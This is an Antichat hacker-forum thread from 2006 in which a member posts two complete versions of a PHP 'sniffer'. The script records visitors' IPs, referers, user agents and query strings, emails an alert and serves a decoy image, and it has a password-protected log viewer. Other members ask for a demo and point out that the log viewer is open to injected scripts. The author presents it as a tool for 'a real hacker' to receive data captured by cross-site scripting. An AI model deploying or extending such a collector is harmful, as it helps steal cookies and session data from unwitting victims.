Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   ProTeam Sniffer by Developer aka RUSH (https://forum.antichat.xyz/showthread.php?t=18768)

Developer 07.05.2006 23:17

ProTeam Sniffer by Developer aka RUSH
 
Вот, наконец-то я решил взяться за написание хорошего сниффера. Написал первую версия и вот, выкладываю ее на обозрение.

Код:

<?php

// Конфигурация
$config['file'] = "sniffer.txt"; // Файл, куда будет писаться или считываться информация.
$config['img']  = "sniffer.gif"; // Путь к изображению для показа относительно самого сниффера. Чтобы отключить эту функцию - впишите 0.
$config['email'] = "MyMail@mail.ru"; // E-Mail для отправки уведомлений. Чтобы отключить эту функцию - впишите 0.
$config['from']  = "Sniffer@example.com"; // Адрес, с которого будут отправляться уведомления.
$config['name']  = "Sniffer: new query"; // Тема письма.
$config['new']  = "New query at"; // Фраза, вставляемая перед временем запроса.

// Подавляем вывод ошибок
error_reporting(0);

function index()
{
    global $config;
    // Проверки на несуществующие или пустые индексы
    if (empty($_SERVER['HTTP_X_FORWARDED_FOR']) || $_SERVER['HTTP_X_FORWARDED_FOR'] == "unknown") {
        $_SERVER['HTTP_X_FORWARDED_FOR'] = "Hide";
    }
    if (empty($_SERVER['QUERY_STRING'])) {
        $_SERVER['QUERY_STRING'] = "None";
    }
    if (empty($_SERVER['HTTP_REFERER'])) {
        $_SERVER['HTTP_REFERER'] = "Hide";
    }
    // Создание массива
    $info['date'] = date("d.m.Y H:i:s");
    $info['proxy_ip'] = $_SERVER['REMOTE_ADDR'];
    $info['line_ip'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
    $info['referer'] = $_SERVER['HTTP_REFERER'];
    $info['agent'] = $_SERVER['HTTP_USER_AGENT'];
    $info['query'] = urldecode($_SERVER['QUERY_STRING']);
    // Создание строки
    $string = $info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."\n";
    // Запись строки в файл
    $link = fopen($config['file'], "a");
    fwrite($link, $string);
    fclose($link);
    unset($string, $link);
    // Отправка уведомления на E-Mail
    if (!empty($config['email'])) {
        $script = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
        $text = $config['new']." ".$info['date']."\r\n".$script;
        mail($config['email'], $config['name'], $text, "From: ".$config['from']."\r\n");
        unset($script, $text);
    }
    unset($info);
    // Вывод изображения
    if (!empty($config['img'])) {
        $image = file_get_contents($config['img']);
        header("Content-type: image/gif");
        header("Content-length: ".strlen($image));
        echo $image;
        unset($image);
    }
}

function view() {
    global $config;
    $file = file($config['file']);
    foreach ($file as $string)
    {
        $array = explode("||", $string);
        foreach ($array as $value)
        {
            echo $value."<br />\n";
        }
    echo "<hr />\n";
    }
}

if (empty($_GET['mode'])) {
    $_GET['mode'] = "index";
}

switch ($_GET['mode'])
{
    case "view":
        view();
        break;
    default:
        index();
        break;
}

?>

Сниффер может посылать уведомление на e-mail, показывать картинку, записывать данные в файл и выводить их.

В ближайшее время планируется релиз версии 1.1, 1.2 и 2.0.

В версии 1.1 будет переработана система вывода запросов - будет разработан дизайн.
В версии 1.2 будет возможность очищать лог сниффера прямой из веб-интерфейса.
И самая крутая фишка, которая нас ожидает в версии 2.0 - при поступлении запроса, сниффер будет мгновенно отправлять сообщение на ICQ (Я думаю у настоящего хакера эта тузла включена постоянно).

А сейчас вы можете потестить первую версию и выложить свои мысли по ней :))) Да прибудет с тобой сила, тестер!

Developer 07.05.2006 23:19

Забыл добавить - чтобы посмотреть лог сниффера запустите скрипт с параметром "mode=view".

Developer 07.05.2006 23:22

Так же ваши мысли можете убить в моей репутации *расчитывает на хорошие* :))) Хотя, если мысли плохие - убейте их в том же йогурте!

Developer 08.05.2006 14:49

Свет увидела новая версия моего сниффера :))) Продолжаем отлавливать баги:

Код:

<?php

// Конфигурация
$config['login'] = "login"; // Логин для входа
$config['password'] = "password"; // Пароль для входа
$config['file'] = "sniffer.txt"; // Файл, куда будет писаться или считываться информация.
$config['img'] = "sniffer.gif"; // Путь к изображению для показа относительно самого сниффера. Чтобы отключить эту функцию - впишите 0.
$config['email'] = "MyMail@mail.ru"; // E-Mail для отправки уведомлений. Чтобы отключить эту функцию - впишите 0.
$config['from'] = "Sniffer@example.com"; // Адрес, с которого будут отправляться уведомления.
$config['name'] = "Sniffer: new query"; // Тема письма.
$config['new'] = "New query at"; // Фраза, вставляемая перед временем запроса.

error_reporting(0);

function auth() {
    header('WWW-Authenticate: Basic realm="ProTeam Sniffer"');
    header('HTTP/1.0 401 Unauthorized');
    die("<br /><br /><div align=\"center\"><b>Не правильный логин или пароль!</b></div>");
}

function index()
{
    global $config;
    if (empty($_SERVER['HTTP_X_FORWARDED_FOR']) || $_SERVER['HTTP_X_FORWARDED_FOR'] == "unknown") {
        $_SERVER['HTTP_X_FORWARDED_FOR'] = "Hide";
    }
    if (empty($_SERVER['QUERY_STRING'])) {
        $_SERVER['QUERY_STRING'] = "None";
    }
    if (empty($_SERVER['HTTP_REFERER'])) {
        $_SERVER['HTTP_REFERER'] = "Hide";
    }
    $info['date'] = date("d.m.Y H:i:s");
    $info['proxy_ip'] = $_SERVER['REMOTE_ADDR'];
    $info['line_ip'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
    $info['referer'] = $_SERVER['HTTP_REFERER'];
    $info['agent'] = $_SERVER['HTTP_USER_AGENT'];
    $info['query'] = urldecode($_SERVER['QUERY_STRING']);
    $string = $info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."\n";
    $link = fopen($config['file'], "a");
    fwrite($link, $string);
    fclose($link);
    unset($string, $link);
    if (!empty($config['email'])) {
        $script = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
        $text = $config['new']." ".$info['date']."\r\n".$script;
        mail($config['email'], $config['name'], $text, "From: ".$config['from']."\r\n");
        unset($script, $text);
    }
    unset($info);
    if (!empty($config['img'])) {
        $image = file_get_contents($config['img']);
        header("Content-type: image/gif");
        header("Content-length: ".strlen($image));
        echo $image;
        unset($image);
    }
}

function view()
{
    global $config;
    $file = file($config['file']);
    if (empty($file[0])) {
        echo "<br />\n";
        echo "<br />\n";
        echo "<br />\n";
        echo "<div align=\"center\"><h3>Запросы отсутствуют.</h3></div>";
        exit;
    }
    krsort($file);
    $file_count = count($file);
    echo "<form name=\"delete\" action=\"".$_SERVER['PHP_SELF']."?mode=delete\" method=\"post\">\n";
    for ($c = 0; $c < $file_count; $c++)
    {
        $array = explode("||", $file[$c]);
        if (strpos($array[5], "&")) {
            $query = explode("&", $array[5]);
            $count = count($query);
            $prev = $count - 1;
            $array[5] = "";
            for ($i = 0; $i < $count; $i++)
            {
                $array[5] .= $query[$i];
                if ($i != $prev) {
                    $array[5] .= " <b>//</b> ";
                }
            }
            unset($query, $count, $prev);
        }
        $str_num = $file_count - $c;
        echo "<fieldset>";
        echo "<table width=\"100%\" border=\"0\">\n";
        echo "<tr>\n";
        echo "<td>Дата:</td>\n";
        echo "<td>".$array[0]."</td>\n";
        echo "<td rowspan=\"6\"><input id=\"del\" name=\"box-".$str_num."\" type=\"checkbox\" value=\"del-".$str_num."\"></td></tr>\n";
        echo "<tr>\n";
        echo "<td>IP-адрес (Proxy):</td>\n";
        echo "<td>".$array[1]."</td></tr>\n";
        echo "<tr>\n";
        echo "<td>IP-адрес (Прямой):</td>\n";
        echo "<td>".$array[2]."</td></tr>\n";
        echo "<tr>\n";
        echo "<td>Реферер:</td>\n";
        echo "<td>".$array[3]."</td></tr>\n";
        echo "<tr>\n";
        echo "<td>Браузер:</td>\n";
        echo "<td>".$array[4]."</td></tr>\n";
        echo "<tr>\n";
        echo "<td>Запрос:</td>\n";
        echo "<td>".rtrim($array[5])."</td></tr>\n";
        echo "</table>\n";
        echo "</fieldset>\n";
        echo "<br />\n";
    }
    echo "<table width=\"100%\" border=\"0\">\n";
    echo "<tr>\n";
    echo "<td align=\"right\"><input type=\"submit\" value=\"Удалить отмеченные\"></td></tr>\n";
    echo "</table>\n";
    echo "</form>\n";
    unset($file, $file_count, $array);
}

function del()
{
    global $config;
    $file = file($config['file']);
    foreach ($_POST as $string)
    {
        $array = explode("-", $string);
        if ($array[0] == "del") {
            unset($file[$array[1] - 1]);
        }
    }
    unset($array);
    $string = "";
    foreach ($file as $str)
    {
        $string .= $str;
    }
    $link = fopen($config['file'], "w");
    fwrite($link, $string);
    fclose($link);
    header("Location: ".$_SERVER['PHP_SELF']."?mode=view");
}

if (empty($_GET['mode'])) {
    $_GET['mode'] = "index";
} else {
    if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW'])) auth();
    if (!($_SERVER['PHP_AUTH_USER'] == $config['login'] && $_SERVER['PHP_AUTH_PW'] == $config['password'])) auth();
}

switch ($_GET['mode'])
{
    case "view":
        view();
        break;
    case "delete":
        del();
        break;
    default:
        index();
        break;
}

?>


Developer 08.05.2006 14:55

Краткий список возможностей:

+ Вывод картинки в буфер
+ Запись всех данных, которые возможно получить
+ Обработка запроса и вывод "В красивом виде" (Запрос разделяется через &)
+ Возможность поставить логин/пароль для просмотра лога через веб-интерфейс
+ Удаление записей прямо из веб-интерфейса
+ Посылка уведомлений на e-mail (Хорошо использовать в связке с Mail-Agent)
+ Небольшой размер
+ Не напрягающий глаз интерфейс
+ Все в одном файле

Trinux 08.05.2006 20:09

а дай какие-нить превью чтоли. а то уж больно впадлу у себя тестить =) или хотя бы скрины какие

Developer 08.05.2006 20:18

http://proteam.com.ru/image.gif - Снифер
http://proteam.com.ru/sniffer.php - Снифер

http://proteam.com.ru/sniffer.php?mode=view - Админка (Логин: login // Пароль: password)

ЗЫ: Думаю ставить навороты, как в снифере каньяка или нет. Вроде бы зачем хакеру всякие дизайны, фильтры и т.д. чтобы прочитать одну строчку с запросом - а с другой стороны ХЗ. Вот, хочу ICQ чтоыб отправляло, это да :)

hidden 10.05.2006 01:10

Фильтры
 
Прикольный снифер, но рас ты решил сделать вэб интерфейс, то хоть какие небудь фильтры поставь
PHP код:

$query =~ s/</&lt;/g# это правдо на перле 

ато я зашол посмотрель лог изнутри, а там скриптов море, хорошо что они у меня отключены.

Developer 10.05.2006 15:34

hidden, да уж... Не пропалил я возможность вставки скриптов в лог :))) В общем, решение:

Код:

$string = $info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."\n";
Меняем на:

Код:

$string = htmlspecialchars($info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."\n");

Developer 10.05.2006 15:43

Всем, кто будет находить баги, буду ставить + :)


Время: 09:39